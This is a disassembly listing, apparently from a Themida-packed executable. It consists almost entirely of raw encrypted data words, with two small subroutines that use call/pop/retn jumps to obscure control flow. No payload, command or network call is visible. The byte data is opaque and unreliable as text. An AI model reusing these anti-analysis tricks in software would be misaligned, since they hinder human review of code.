		dd 10h,	0A3B982EBh, 483859ACh, 2CEE9686h, 9131D4ABh, 2169BD83h
		dd 0F0007D1h, 0FF85h, 0B585C600h, 4707D131h, 138D9589h
		dd 4E807D1h, 0D2000000h, 0B9D49AA7h, 375A8027h,	8E850h
		dd 8C660000h, 0C697BE7Eh, 13E81B13h, 38000000h,	0DEEB9D7h
		dd 19532515h, 95177A3Ch, 30FCFD48h, 6160F350h, 448B5F5Ah
		dd 0F600424h, 389h, 0CE8B6600h,	88E3B953h, 61595EC1h, 6660008Bh
		dd 0E960F38Bh, 12h, 1E022442h, 0C7BDE4B1h, 0F82BBEAAh
		dd 1644C267h, 0F1BB007Eh, 611756E3h, 24448961h,	0E1B5BA04h
		dd 6A58242Ch, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 1E93C355h, 831B5FFh, 8C0F07D1h
		dd 6, 32F19589h, 858D07D1h, 7D4A6EAh, 9E9h, 60CE6700h
		dd 0A5E7BA67h, 0D0FF1D5Fh, 65F18166h, 0C9BD8BD6h, 8907D122h
		dd 0D1216985h, 8E907h, 7EF70000h, 0BDABE3F7h, 0E9609D34h
		dd 5, 5129596Fh, 0D5858B20h, 6107D11Ch,	1005BD83h, 0F0007D1h
		dd 14B85h, 719D8900h, 0C607D127h, 0D131B585h, 6A4707h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 767FDDC3h, 1FBA2F6Ah, 0EDB52B60h, 8007D132h,	0E86177C3h
		dd 4, 8A0FB5E2h, 0EE96053h, 23000000h, 961EA16Eh, 9DF891F6h
		dd 0CD3A306h, 5059616Bh, 310F5250h, 9E8h, 11048C00h, 0E33547ACh
		dd 6160E2E1h, 8B585A59h, 8B042444h, 14E900h, 5B2B0000h
		dd 8202E09Ah, 0C0589C2Ah, 72797BA4h, 5491DAF5h,	4489D185h
		dd 52500424h, 11E8h, 0CBB35C00h, 86BD9D59h, 2BB5C5F1h
		dd 79305B69h, 52502549h, 585A310Fh, 60310F5Ah, 0EAE6BB66h
		dd 5A61C78Bh, 6A5858h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0F3F5DC3h, 58Ah,	0E2816600h, 0F781047Fh
		dd 3F160EE3h, 831B5FFh,	6A07D1h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 7C13A1C3h, 0EA858D1Fh
		dd 0B07D4A6h, 0D131C98Dh, 31D0FF07h, 0D11069B5h, 5858907h
		dd 6A07D110h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 8861C353h, 3259BD83h, 0F0007D1h
		dd 0C285h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 0C67336FEh, 0D131B585h, 0BA665607h
		dd 666865DBh, 8BDDD51Dh, 243481C8h, 9CA705Fh, 89958Bh
		dd 0B5FF07D1h, 7D10831h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 17h, 0DC35545h, 8DA9859Ch,	0D4A6EA85h, 5EB1B907h
		dd 0D0FF26EAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0E6C35141h, 0DCA17C5Dh,	0BD03BA20h, 7D11B39h, 20E1BD01h
		dd 858907D1h, 7D13259h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 13C35545h, 0C6FEF280h, 0D131B585h, 6A6C07h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 4BEEDC3h, 6659F5EBh,	680A63B9h, 0A2D60113h, 3481CE8Bh
		dd 0D3719024h, 51006A79h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 6660C934h, 1A33E981h
		dd 0C9B5FF61h, 6A07D11Ch, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 8A4BC357h, 8E8h, 0C002BE00h
		dd 29EBE82Eh, 0FB8B6663h, 0CE959h, 23720000h, 385CA369h
		dd 4D2208F5h, 858D35BAh, 7D13B01h, 16059589h, 0D18107D1h
		dd 7C0F2BCh, 6EB2D0FFh,	0D72D8589h, 6A07D4h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0DF1677C3h
		dd 9C59D852h, 83C9B70Fh, 0D4D749BDh, 850F0007h,	0DDh, 15D18589h
		dd 85C607D1h, 7D131B5h,	52006A49h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 9529CD0Fh, 7D1333Dh, 0D7256268h
		dd 0FE9C1h, 67FC0000h, 0B614C5D6h, 0CC96C448h, 0FCB21931h
		dd 243481FFh, 4DC20C8Bh, 0FFFABF0Fh, 0D11CC9B5h, 31B52907h
		dd 8D07D102h, 0D13B0185h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 977028C7h
		dd 0C63E0C98h, 8D89CA44h, 7D132B1h, 6AD0FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 162E06C3h
		dd 0EE91CB0h, 0FF000000h, 1F85A213h, 0D9F92145h, 0AA246ABDh
		dd 0D18B667Dh, 0D7498589h, 0F6007D4h, 18Eh, 9503F900h
		dd 7D125A5h, 68046A61h,	0E035CCh, 68D0Fh, 53600000h, 61CA8B5Ah
		dd 0CC243481h, 6A00E025h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0BC5C352h, 0D12745BDh
		dd 5D958B07h, 6807D11Ch, 0F4320832h, 0CE240481h, 890BCEF7h
		dd 0D10EDDBDh, 89006A07h, 0D123A595h, 0C595FF07h, 0E807D121h
		dd 5, 8370F458h, 3FBF66C8h, 85895937h, 7D4D739h, 0A05CD781h
		dd 85C72722h, 7D4D731h,	0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5C44EB
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C44EB	proc near		; CODE XREF: Themida_:005C44E3p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5C44EB	endp

; ---------------------------------------------------------------------------
		stosb
		dec	edx
		cmp	[ebx], ah
		push	0
		push	0
		push	ebp
		call	sub_5C450C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C450C	proc near		; CODE XREF: Themida_:005C4504p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5C450C	endp

; ---------------------------------------------------------------------------
		dd 0CB07E16Eh, 2B13D61Dh, 0AE689F3Fh, 6683AC03h, 81B3CAB9h
		dd 0FC522404h, 0B70F7C54h, 525090D0h, 5ACB8B56h, 0DE9310Fh
		dd 0E000000h, 1B6EBD75h, 0EF368256h, 0F0DEBC1Ch, 0B650585Ah
		dd 0BF0F9060h, 0CF8B66F9h, 6A0B6Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 5BB679C3h
		dd 8DD7A627h, 0D4D70685h, 0B96607h, 52505083h, 0D6F6BF60h
		dd 0BB667BE2h, 0F613434h, 0D78B6631h, 489585Ah,	57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0EF7C3DEh, 0A1B9702Ah, 1DD18D8Bh, 95FF07D1h,	7D12169h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 73C35545h
		dd 45B1E130h, 39814F83h, 0CE8h,	0CCE66500h, 0CCAFB5E1h
		dd 2B7B8EF8h, 0F0BF6687h, 0BF66592Ch, 6660C7D7h, 0BB66F08Bh
		dd 8D61F0E8h, 0D4D710B5h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 8815C9Ah, 0BD89950Eh
		dd 7D118B1h, 89F18A50h,	8A0F2434h, 6, 0A18D8Bh,	0E95007D1h
		dd 13h,	1D056BB2h, 9981AFE0h, 3598261Ch, 14AFCD3Eh, 896BCC10h
		dd 0CE8B2404h, 100595FFh, 6A07D1h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 5CBCBAC3h, 827590B9h
		dd 0FC00B6Bh, 2585h, 76EE900h, 6A0000h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0F65E6C3h
		dd 0D0FFFAB1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	6FC35646h, 66B78AF2h, 0BAA77598h, 1C83723Ah, 39B58BFCh
		dd 307D4D7h, 0D12F6D95h, 20468D07h, 1D159D29h, 46A07D1h
		dd 28659589h, 0E99007D1h, 0Ch, 711681A2h, 0BBB6990Bh, 743B1958h
		dd 5870F50h, 0B9000000h, 7A18ED4Eh, 12E990h, 0A0360000h
		dd 7CBD2366h, 0FB761E01h, 1F2A5721h, 27C57BD0h,	0D74995FFh
		dd 6A07D4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 699306C3h, 0AE933h, 0A7CA0000h, 0D04EE4ECh
		dd 6B3BF6B0h, 840FC00Bh, 5Fh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0CDC35141h,	77FB8C79h, 6DE98209h
		dd 6A000006h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 895BC357h, 0D120E19Dh,	11E907h
		dd 1BDD0000h, 5A228F3Fh, 9E14ADA9h, 29176EA1h, 80507A17h
		dd 0F00207Eh, 62B84h, 0A800F00h, 0E9000000h, 5,	0ED165585h
		dd 0C18166E3h, 0BF60FB8Eh, 0E4BAF2Fh, 6620468Dh, 7FF8E281h
		dd 0D7358589h, 958B07D4h, 7D133B9h, 164E9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0EEC7719Ah, 40316313h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 0A1C35141h, 0E9CAD7F3h, 0Fh, 37E17E59h
		dd 9F138A36h, 7EC68850h, 50808230h, 5840F52h, 0B9000000h
		dd 149D85D6h, 24048959h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 16h, 19C35545h, 0BF66FD9Dh, 8D890CE0h, 7D12B35h
		dd 6A046Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0DA9599C3h, 0B093BF31h, 0F560B4F3h, 61BDEB80h
		dd 0B8666050h, 0DE8BFD40h, 24048961h, 0DCE9D781h, 95FF07B2h
		dd 7D4D749h, 2589BD8Bh,	0D88B07D1h, 0FE9h, 0C81CBB00h
		dd 7F013F0Dh, 110D128Ah, 0B7547Bh, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0AD642B7Ah
		dd 0B685121h, 4A840FDBh, 66000000h, 4889CF81h, 0E9C88B66h
		dd 4D0h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	6BC35343h, 59B7F301h, 2D8217A1h, 0E9D68B66h, 11h
		dd 4F2AA7B8h, 0EED9B8CEh, 0F4673A6Dh, 402B2601h, 3880AFh
		dd 0FEB5850Fh, 6AFFFFh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 527473C3h, 9D89B22Fh, 7D10F95h
		dd 4E9h, 48CA8B00h, 35853BF8h, 0F07D4D7h, 4582h, 80A5B500h
		dd 840F5C38h, 3Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0BAC35646h, 0B1752AB5h, 362D35B1h, 2F3880A0h
		dd 0FFB9850Fh, 958BFFFFh, 7D124CDh, 3E58D33h, 6A4007D1h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0B2C3C352h, 9E2150EEh, 0D18B1E24h, 0D73DBD83h
		dd 0F0007D4h, 14884h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0E6F4160Ah, 8D308F3Dh
		dd 0C18D8B68h, 2307D100h, 0D108458Dh, 52509007h, 5A595150h
		dd 96B6310Fh, 0B250585Ah, 890F909Ch, 5,	0AC4A49B9h, 3D850315h
		dd 8B07D4D7h, 0D1233195h, 4895007h, 51BF6624h, 6A046A0Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0D831C352h, 37EC486Eh, 937CE7DBh,	66526050h
		dd 5F6136B9h, 14E857h, 0DE330000h, 770B773Dh, 0DF31FA99h
		dd 3969E907h, 2F0BCF0Fh, 5B5B4F15h, 24048961h, 30A9BD8Bh
		dd 95FF07D1h, 7D4D749h,	0FADBD31h, 0D88B07D1h, 58CAB70Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 73C35141h
		dd 11E95F86h, 45000000h, 0C5A4CA70h, 6C75E7CAh,	0EFD23E00h
		dd 0B27A6978h, 1FB5B589h, 0DB0B07D1h, 32840Fh, 85890000h
		dd 7D11CDDh, 2C3E9h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0FE23B902h, 8D310A59h
		dd 7D11D29h, 0F90000C6h, 0E1958B53h, 5F07D126h,	0F529058h
		dd 68Ah, 0F525000h, 5A585A31h, 3657B950h, 6A901405h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0ED99C353h, 0D35BC25Ch, 6DBD8984h, 6A07D129h, 57006A1Eh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0A5F6020Ch, 0B18501F8h, 6007D117h, 8EBBDE8Bh, 61304A46h
		dd 48E0F90h, 51000000h,	5059D68Bh, 55006A90h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0FE8B0085h
		dd 0D74995FFh, 6A07D4h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 6DDB35C3h, 4DB0EDA5h, 0CE950h, 7EB90000h
		dd 39A5B141h, 0C76CE2D3h, 8D89E2A3h, 7D12305h, 8D8BD88Bh
		dd 7D10F51h, 50006A58h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0C7DEFDA2h, 80B36335h, 0AE8F44Eh
		dd 0A8000000h, 4F764AD0h, 925D145Ah, 0A59D2925h, 5A07D113h
		dd 840FDB0Bh, 25h, 3860Fh, 0E5800000h, 15AE97Fh, 12E90000h
		dd 10000000h, 1BABB1AFh, 0E8C5923Dh, 0F950D648h, 0B4EF9E5Ah
		dd 0BF665096h, 489A642h, 0DDBD8924h, 0FF07D103h, 0D4D729B5h
		dd 0DD952907h, 0FF07D113h, 0D4D72D95h, 51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 3B92E390h, 0C00BF577h
		dd 83850Fh, 85890000h, 7D11951h, 0D953CA81h, 6A610252h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 6EF3C355h, 0FB7D4B1h, 386h, 0D1C18000h, 247D8D89h
		dd 85C707D1h, 7D4D731h,	1, 2CEA8166h, 8B6656D2h, 0A5E959C8h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0ACA5C351h, 0FD457FBh,	582h, 0EA816600h
		dd 0FC574493h, 8D89615Fh, 7D11FDDh, 6850Fh, 9D010000h
		dd 7D106B5h, 11CC681h, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 717827C3h, 0F084EBD5h
		dd 0B26232A5h, 0A810F4Ah, 0F000000h, 48Ch, 0F2BF6600h
		dd 0F90BE9E8h, 6AFFFFh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 3733B6C3h, 0D38AF848h, 0B0EEB368h
		dd 815F521Ah, 6EB32434h, 9511AB0h, 0D117E98Dh, 6A5907h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 3AC35141h
		dd 39B5FFDDh, 6A07D4D7h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 84FAC350h, 5927D4A1h
		dd 0B58B60F1h, 7D11BD1h, 61D78B66h, 6E9h, 0C321700h, 0FF5AD058h
		dd 0D1325995h, 118D0107h, 8B07D126h, 0D4D73185h, 5DBD8B07h
		dd 5007D117h, 830Fh, 4890000h, 0D0B70F24h, 0D741858Dh
		dd 6A07D4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0BE1BD6C3h, 50501FAAh, 0F1B8B966h, 6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0C414C355h, 7929F122h, 830F1860h,	5, 0E6E98166h
		dd 0FE858DB6h, 8A07D4D6h, 5FB250CFh, 6A240489h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0FF0CC351h, 0D1167995h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 7E5D08C6h
		dd 27ED801Dh, 8B3FEE80h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 96B57EC5h, 0A82E8053h
		dd 0DDB589F3h, 8307D124h, 0D13405BDh, 9750007h,	2849BD83h
		dd 740007D1h, 8B535013h, 4D0B8C0h, 9D8D0000h, 7D3DFEBh
		dd 585BD3FFh, 2849BD83h, 740007D1h, 0B8535011h,	4D0h, 0DEEA9D8Dh
		dd 0D3FF07D3h, 6A585Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0B3D5C9C3h, 94F932D2h, 880FA2C4h
		dd 11h,	0CE9h, 0AE80D300h, 78487ADFh, 11D6DB28h, 13E92Eh
		dd 7C0A0000h, 932BC7A4h, 78039F7Ch, 50E32E5Dh, 0F307194Ch
		dd 31C08BFDh, 0D1248195h, 8C25807h, 19BD8900h, 8B07D100h
		dd 1A30BFC0h, 0C68048B4h, 59858DEBh, 6A07D4D7h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0A780C356h, 0E90A8222h, 12h,	485EA2C2h, 7809ADFCh, 0F3992E73h
		dd 0C3492FCFh, 8D8B3008h, 7D126DDh, 14418589h, 39EB07D1h
		dd 0B00000h, 0B002CCh, 0B002E4h, 0
		dd 47814DF3h, 76984184h, 22894988h, 4F824D87h, 4E880A15h
		dd 76A22450h, 22A0685Ah, 52A35041h, 4AB84AE2h, 468D41B1h
		dd 228644E1h, 22EFCCA1h, 7BCC2478h, 6E657DFFh, 666D203Ah
		dd 22F0202Bh, 73AD2487h, 6DDE2400h, 0A5F2C487h,	0AF65DE9Ch
		dd 253D3795h, 3126F6BDh, 0E2670430h, 0CABF2465h, 22EC2484h
		dd 792F7FE3h, 26C87868h, 26C86071h, 22EC246Fh, 2D2F777Fh
		dd 0A1D0655Dh, 0F3D821B2h, 2B992480h, 0AA59940h, 56EC2330h
		dd 0A9BF74E9h, 26559CB8h, 0A765243Ch, 253D37CBh, 0C35CB982h
		dd 0F1132354h, 9F6F7C98h, 253D0CA8h, 72FB50F0h,	26559C2Bh
		dd 0A765243Ch, 253D37CBh, 0FC73B982h, 0F1132354h, 24057C98h
		dd 63EC24E1h, 8354A2C2h, 482CAFB8h, 2104773Ch, 2EC241Eh
		dd 0ABB7E754h, 0A3E800DBh, 35E80087h, 61EC24E1h, 0A116E7A3h
		dd 0AF656D62h, 253D37E1h, 1359A1D8h, 0ABBA23DEh, 0F3CDC912h
		dd 4C2D4CC4h, 9C8A74F7h, 266D80EBh, 0B0A5B55Ch,	74EC4E70h
		dd 22EC27F6h, 0E1B2040Fh, 698ADD9h, 6A8A5C7h, 22EC32E5h
		dd 0E1BA62F0h, 0B0B1431h, 0F3F87989h, 0F379AF19h, 0DDEBF519h
		dd 0F3E41532h, 74EC4EC4h, 22EC2709h, 0E1B204F0h, 698AD26h
		dd 6A8A538h, 22EC321Ah,	0E1BA620Fh, 0D7C1812Ah,	33799EA5h
		dd 8406A16Ch, 0A4E32324h, 22EC2464h, 22EC34D4h,	9A06441Eh
		dd 9D957A3Ah, 0D6C26Ch,	891F1194h, 9F59AD0Ch, 7BEBF5D2h
		dd 4815F487h, 75EC4E38h, 22EC27F6h, 0E1B3040Fh,	690ADD8h
		dd 6A8A5C7h, 22EC3DE5h,	0E1BB63F0h, 2E0F2EE7h, 3605B6A7h
		dd 1EEC241Eh, 0A4F11F7Fh, 0DF2C63D6h, 6FAA8267h, 2E86F1F7h
		dd 0BFDCF80h, 0F3F389FDh, 246D2B3Bh, 0A9EC241Eh, 0F3C8C1BAh
		dd 0BE564C80h, 0CABB935Eh, 22EC24E4h, 1515832Dh, 22662B46h
		dd 7DEC243Ch, 6E8A540h,	6A8E5749h, 9E31B0EFh, 0A323AF16h
		dd 7B400E5h, 2F050EB3h,	47EC2478h, 155265Dh, 0BFE67DE0h
		dd 0C0D6825Fh, 0BF6524EDh, 253D0F52h, 22EFA3EEh, 95E324F0h
		dd 483CDB80h, 2104733Ch, 2EC241Eh, 0ABB3E750h, 0A3E800FBh
		dd 3BE80087h, 65EC24E1h, 56F0E7A7h, 298BB3EDh, 6379275Ch
		dd 43EBF511h, 0C8A2A186h, 22862353h, 22EFCC93h,	7ACC24E1h
		dd 66657C33h, 666D205Ch, 22F72018h, 72AC241Eh, 0C239C0CCh
		dd 0D5110170h, 0C36D425Bh, 0DA674B13h, 22EEE8F5h, 7069AD78h
		dd 0A1EBF0D6h, 0A7653CDEh, 2538CE59h, 0CE55E4B4h, 0D1EC24C1h
		dd 2DBF914Bh, 22EC2672h, 98519678h, 588B8733h, 1359A1D8h
		dd 0A9AF23DEh, 0F3ECBD3Ah, 22E8CCC4h, 49B224E1h, 70BCB897h
		dd 2D3DAF1Eh, 6452420Dh, 72B47E8Bh, 988A765Fh, 13E3BBEEh
		dd 7AB6EF76h, 26C8606Ah, 70BC76A0h, 13E37E2Bh, 7AB6455Ch
		dd 7AB61511h, 0A98A2484h, 6A8AD75h, 206D2BC7h, 0A9EC24E1h
		dd 22867C3Bh, 22EFCC2Eh, 7CCC243Ch, 56657ADDh, 666D202Bh
		dd 22F120A3h, 74AA24C3h, 9131C022h, 440214AAh, 2DF8BA69h
		dd 22EC22B7h, 6371AD1Eh, 0DDEBF53Eh, 0F3E41532h, 75EC4EC4h
		dd 22EC2709h, 0E1B304F0h, 690AD27h, 6A8A538h, 22EC301Ah
		dd 0E1BB630Fh, 0E9674233h, 8406A14Eh, 22862335h, 22EFCCA7h
		dd 7DCC2478h, 5E657BFFh, 666D203Ah, 22F1202Bh, 75AB2487h
		dd 0EE077900h, 72446195h, 0CB0644EBh, 22EC2477h, 5774428Bh
		dd 0C2D465B9h, 57B8A5FFh, 0DD4F04BCh, 0D867D813h, 37FDA168h
		dd 22862321h, 22EFCC2Eh, 7CCC243Ch, 56657ADDh, 666D202Bh
		dd 22FB20A3h, 74AA24C3h, 2A14D222h, 0AB61AFDFh,	2DEBF550h
		dd 22EC21BFh, 0C46D421Eh, 0A761DC8Eh, 253D03FEh, 132AC542h
		dd 0A7653490h, 253D3911h, 35F591F1h, 0A72A23EDh, 253D15ABh
		dd 2F59AD5Ch, 0CAEBF5ACh, 22EC24C7h, 0DE5D6C39h, 0ADE376A0h
		dd 22EC247Ch, 9B099E5Ah, 2B041511h, 0AFEC240Fh,	563FAFC3h
		dd 83777531h, 22EC2E08h, 0FB7DFDF0h, 65DE2C1Dh,	7C30EAD7h
		dd 72BC7C44h, 0FF56425Dh, 93DD2B66h, 0A9B47EDBh, 0CAE800A5h
		dd 22EC24E3h, 0E854AD83h, 4A32C040h, 0CA4FB1F6h, 13242409h
		dd 0CB8B84BAh, 22EC24CCh, 0E983366Dh, 419B21B5h, 0B663E58Dh
		dd 7CF60A3Eh, 42BB2495h, 9C959A69h, 432AAFE1h, 6A8AD9Ch
		dd 7A17AFE5h, 84DF9A96h, 2ADD9187h, 228623EDh, 22EFCC48h
		dd 7CCC240Fh, 56657A44h, 666D20E7h, 22F920C5h, 74AA24F0h
		dd 0A97272BBh, 0F3C17981h, 246C2B19h, 0ABEC240Fh, 0F3DEF112h
		dd 0C869A9C4h, 42EBF047h, 5CC3D671h, 0DD8D124Eh, 2E6F2BECh
		dd 2DEC241Eh, 22EC2289h, 22692B87h, 0ABEC24C3h,	0F3EC7164h
		dd 0A72AD8F7h, 253D15CDh, 75EC4E6Fh, 22EC27F6h,	0E1B3040Fh
		dd 690ADD8h, 6A8A5C7h, 22EC3EE5h, 0E1BB63F0h, 94382EDEh
		dd 4AA70934h, 52CB5310h, 87C8208Eh, 98BD5CAh, 0F3F9414Eh
		dd 1359DBE6h, 2DEBF5F8h, 22EC21F4h, 0E56D423Ch,	0A761E62Ch
		dd 253882E5h, 2BE1A90Eh, 0F2132312h, 0CABB248Bh, 22EC24F3h
		dd 7D2F7B58h, 26C858B5h, 26C8609Fh, 22EC2413h, 22F73C0h
		dd 2D949143h, 6F6694F5h, 0A765EE7Ah, 253D0AC9h,	6A33A55Ah
		dd 9769E2B9h, 65EBF53Eh, 3FF1B184h, 26042312h, 8BEC24E1h
		dd 425BFA2Dh, 16A272C2h, 0A6E3446Fh, 22EC241Eh,	8D8E9D69h
		dd 72BC45E6h, 22E1CC91h, 0D4A524E1h, 0C27A1462h, 0D902DBD6h
		dd 0CB48D645h, 22EC2410h, 0B3053B36h, 8166420Eh, 4F5705B4h
		dd 2DB3F464h, 26692BC1h, 44EC2478h, 786FF983h, 6A8AF46h
		dd 38682B0Bh, 42EC2487h, 22EC342Bh, 0A9C42CE1h,	0AF201627h
		dd 481172B4h, 0FCC5D8D8h, 438C7F45h, 73ECAF6Eh,	6609BE1h
		dd 6A8AD9Dh, 7AC391E5h,	0CABC249Ah, 22EC247Bh, 7A2F7C1Ch
		dd 26C86097h, 26C8608Eh, 22EC2491h, 242F7483h, 0A2BF27CDh
		dd 0DDB5DC35h, 0F3E415CDh, 70EC4E3Bh, 22EC27F6h, 0E1B6040Fh
		dd 6B8ADDDh, 6A8A5C7h, 22EC3EE5h, 0E1BE66F0h, 24D6A60Ah
		dd 0A3FBC9FEh, 5BF8DCDCh, 0C869A94Ah, 2DEBF021h, 0F213D77Ch
		dd 315916Ah, 0A7652321h, 253D16B9h, 0CABA2456h,	22EC241Dh
		dd 7C2F7A2Fh, 26C8500Eh, 26C86042h, 22EC24F4h, 0E22F72B6h
		dd 2A672B45h, 74EC243Ch, 3471B997h, 0E4B523DEh,	0F3DD9102h
		dd 9DE363C4h, 22E8CC2Eh, 329624F0h, 70BCA5A4h, 22EC23D5h
		dd 44C6A81Eh, 0C4314D5Ah, 0F1661588h, 44BC7C99h, 0A9A1715Eh
		dd 0CBE800B4h, 22EC2471h, 0E82328h, 952BE4AFh, 42ECAF92h
		dd 2DBE74D7h, 7AB47EF2h, 6A8AD80h, 266C2BF4h, 44EC2478h
		dd 7A521083h, 0CAB92474h, 22EC240Ch, 7F2F79A7h,	26C8484Ah
		dd 26C86060h, 22EC24E4h, 0F32F713Dh, 2690DB85h,	4B79AD6Bh
		dd 0DDEBF521h, 0F3E41532h, 0B351ADC4h, 0AFEBF5CAh, 0F64ACE75h
		dd 483CDB7Fh, 2104733Ch, 2EC241Eh, 0ABB3E750h, 0A3E800FBh
		dd 3AE80087h, 65EC24E1h, 6B2E7A7h, 0AB1D0CA6h, 0F3DDD581h
		dd 22E3CD19h, 32CD240Fh, 987F4DB4h, 3A173BF8h, 88872D5Fh
		dd 1769ADCAh, 13EBF54Bh, 0F3C84DA9h, 9769E219h,	65EBF53Eh
		dd 33A620EFh, 22E0CC0Ah, 0A12324E1h, 411BDA69h,	9BA0D40Dh
		dd 26535739h, 7C9B56FCh, 7BC8108Eh, 488FF8F1h, 210477C3h
		dd 2EC24E1h, 0ABB7E7ABh, 0A3E80024h, 3FE80078h,	61EC241Eh
		dd 2A76E75Ch, 542E3D66h, 40BB0D94h, 3FE59968h, 97132321h
		dd 253D2C49h, 0AF14AF5Ah, 0F64ACE9Bh, 73EC4E08h, 22EC276Fh
		dd 0E1B504C3h, 6A0ADB8h, 6A8A5F4h, 22EC3E7Ch, 0E1BD653Ch
		dd 7D8121E5h, 0A94F7C5Ah
		dd 0CC539D7Eh, 0F2133738h, 0E80EDC5Eh, 0FC6D429Dh, 0A76587E0h
		dd 253D0ADDh, 0CABB2474h, 22EC240Ch, 7D2F7BA7h,	26C8584Ah
		dd 26C86060h, 22EC24E6h, 962F733Fh, 0AF65A089h,	253D097Bh
		dd 97C5F4F0h, 253D16F2h, 2E71A14Ah, 22862330h, 22EFCCA1h
		dd 7BCC2478h, 6E657DFFh, 666D203Ah, 22FB202Bh, 73AD2487h
		dd 8ADD4900h, 0D85B2B7Dh, 0CA34A896h, 22EC2474h, 0D9F81CA9h
		dd 1C950B21h, 2467CDA6h, 0BE1EA5E1h, 26C87DC0h,	0CAB9248Bh
